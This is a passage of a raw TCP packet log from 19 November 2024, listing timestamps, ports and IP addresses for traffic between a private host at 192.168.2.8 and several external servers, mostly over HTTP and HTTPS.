Nov 19, 2024 18:00:48.003606081 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.003674984 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.003699064 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.003715992 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.004389048 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.004446983 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.004453897 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.007302046 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.007333040 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.007369041 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.007375956 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.007416010 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.008481026 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.008498907 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.008558035 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.008563042 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.008625031 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.009447098 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.009505987 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.009864092 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.009919882 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.009958982 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.009973049 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.009988070 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.010011911 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.010013103 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.010027885 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.010031939 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.010046959 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.010051012 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.010063887 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.010067940 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.010086060 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.010099888 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.010454893 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.010471106 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.010548115 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.010551929 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.011029005 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.011667013 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.011703968 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.011719942 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.011748075 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.011766911 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.011796951 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.011812925 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.011828899 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.011845112 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.011857986 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.011869907 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.011874914 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.011893034 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.011894941 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.011909008 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.011912107 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.011924982 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.011934042 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.011944056 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.011946917 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.011960983 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.011965990 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.011980057 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.011981964 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.011998892 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.012005091 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.012027025 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.012051105 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.012418985 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.012434959 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.012490988 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.012495995 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.012531042 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.013302088 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.013324022 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.013340950 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.013345957 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.013356924 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.013365984 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.013390064 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.013406992 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.013438940 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.013453960 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.013469934 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.013484955 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.013490915 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.013501883 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.013516903 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.013528109 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.013542891 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.013545990 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.013559103 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.013567924 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.013577938 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.013586044 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.013603926 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.013605118 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.013622999 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.013623953 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.013639927 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.013662100 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.013675928 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.013922930 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.013999939 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014013052 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014036894 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014061928 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014085054 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014100075 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014122963 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014126062 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014141083 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014148951 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014158010 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014163017 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014183044 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014198065 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014354944 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014369011 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014391899 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014394045 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014409065 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014421940 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014429092 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014434099 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014451027 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014451027 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014468908 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014472961 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014483929 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014488935 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014503002 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014522076 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014723063 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014745951 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014760971 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014770031 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014785051 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014786005 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014803886 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014806032 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014821053 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014827967 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014838934 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014841080 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014857054 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014874935 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014894962 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014919996 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014934063 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014950991 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014956951 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.014969110 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.014982939 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015002012 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015007973 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015026093 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015039921 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015054941 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015058994 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015069962 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015079975 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015088081 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015093088 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015105963 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015109062 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015127897 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015131950 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015140057 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015147924 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015163898 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015165091 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015181065 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015188932 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015196085 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015208006 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015219927 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015238047 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015240908 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015254974 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015269995 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015269995 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015286922 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015292883 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015304089 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015321016 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015331030 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015341043 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015367031 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015379906 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015396118 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015419960 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015431881 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015435934 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015451908 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015461922 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015475988 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015486002 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015492916 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015508890 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015516996 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015533924 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015539885 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015556097 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015558004 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015567064 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015574932 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015602112 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015609026 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015625000 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015629053 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015641928 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015649080 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015660048 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015669107 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015674114 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015683889 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015697956 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015702963 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015712976 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015718937 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015733004 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015733004 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015748978 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015760899 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015764952 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015779972 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015779972 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015793085 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015798092 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015810013 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015814066 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015829086 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015839100 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015845060 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015855074 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015870094 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015871048 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015887976 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015897036 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015914917 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015927076 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015944958 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015947104 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015960932 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.015964031 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015983105 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.015986919 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.016004086 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.016009092 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.016025066 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.016031027 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.016041040 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.016058922 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.016060114 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.016072035 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.016100883 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.045397043 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.045466900 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.045479059 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.045509100 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.045532942 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.048937082 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.048964977 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.049032927 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.049103975 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.049139977 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.049163103 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.049906969 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.049925089 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.049988031 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.050010920 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.050060987 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.050079107 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.050129890 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.051580906 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.051597118 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.051667929 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.051668882 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.051753998 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.051829100 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.052539110 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.052556038 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.052604914 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.052649975 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.052683115 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.052716970 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.068814039 CET	443	49820	23.44.203.86	192.168.2.8
Nov 19, 2024 18:00:48.069088936 CET	49820	443	192.168.2.8	23.44.203.86
Nov 19, 2024 18:00:48.069103956 CET	443	49820	23.44.203.86	192.168.2.8
Nov 19, 2024 18:00:48.069860935 CET	443	49821	23.44.203.86	192.168.2.8
Nov 19, 2024 18:00:48.072685957 CET	443	49820	23.44.203.86	192.168.2.8
Nov 19, 2024 18:00:48.072751045 CET	49820	443	192.168.2.8	23.44.203.86
Nov 19, 2024 18:00:48.074350119 CET	443	49815	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:48.074374914 CET	443	49815	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:48.074472904 CET	49815	443	192.168.2.8	20.75.60.91
Nov 19, 2024 18:00:48.074481964 CET	443	49815	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:48.074527025 CET	49821	443	192.168.2.8	23.44.203.86
Nov 19, 2024 18:00:48.074544907 CET	443	49821	23.44.203.86	192.168.2.8
Nov 19, 2024 18:00:48.074692965 CET	443	49815	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:48.074759960 CET	49820	443	192.168.2.8	23.44.203.86
Nov 19, 2024 18:00:48.074810028 CET	49815	443	192.168.2.8	20.75.60.91
Nov 19, 2024 18:00:48.074944019 CET	443	49820	23.44.203.86	192.168.2.8
Nov 19, 2024 18:00:48.078149080 CET	443	49821	23.44.203.86	192.168.2.8
Nov 19, 2024 18:00:48.078159094 CET	49815	443	192.168.2.8	20.75.60.91
Nov 19, 2024 18:00:48.078175068 CET	443	49815	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:48.078237057 CET	49821	443	192.168.2.8	23.44.203.86
Nov 19, 2024 18:00:48.079303026 CET	49821	443	192.168.2.8	23.44.203.86
Nov 19, 2024 18:00:48.079643011 CET	443	49821	23.44.203.86	192.168.2.8
Nov 19, 2024 18:00:48.092178106 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.092237949 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.092283964 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.092283964 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.092365026 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.092411995 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.092411995 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.092511892 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.092546940 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.092576981 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.092601061 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.092628002 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.093476057 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.093523979 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.093554974 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.093573093 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.093602896 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.094532967 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.094600916 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.094762087 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.094801903 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.094818115 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.094852924 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.094882965 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.096632004 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.096653938 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.096709967 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.096723080 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.096745968 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.096769094 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.096786976 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.096808910 CET	49819	443	192.168.2.8	104.117.182.25
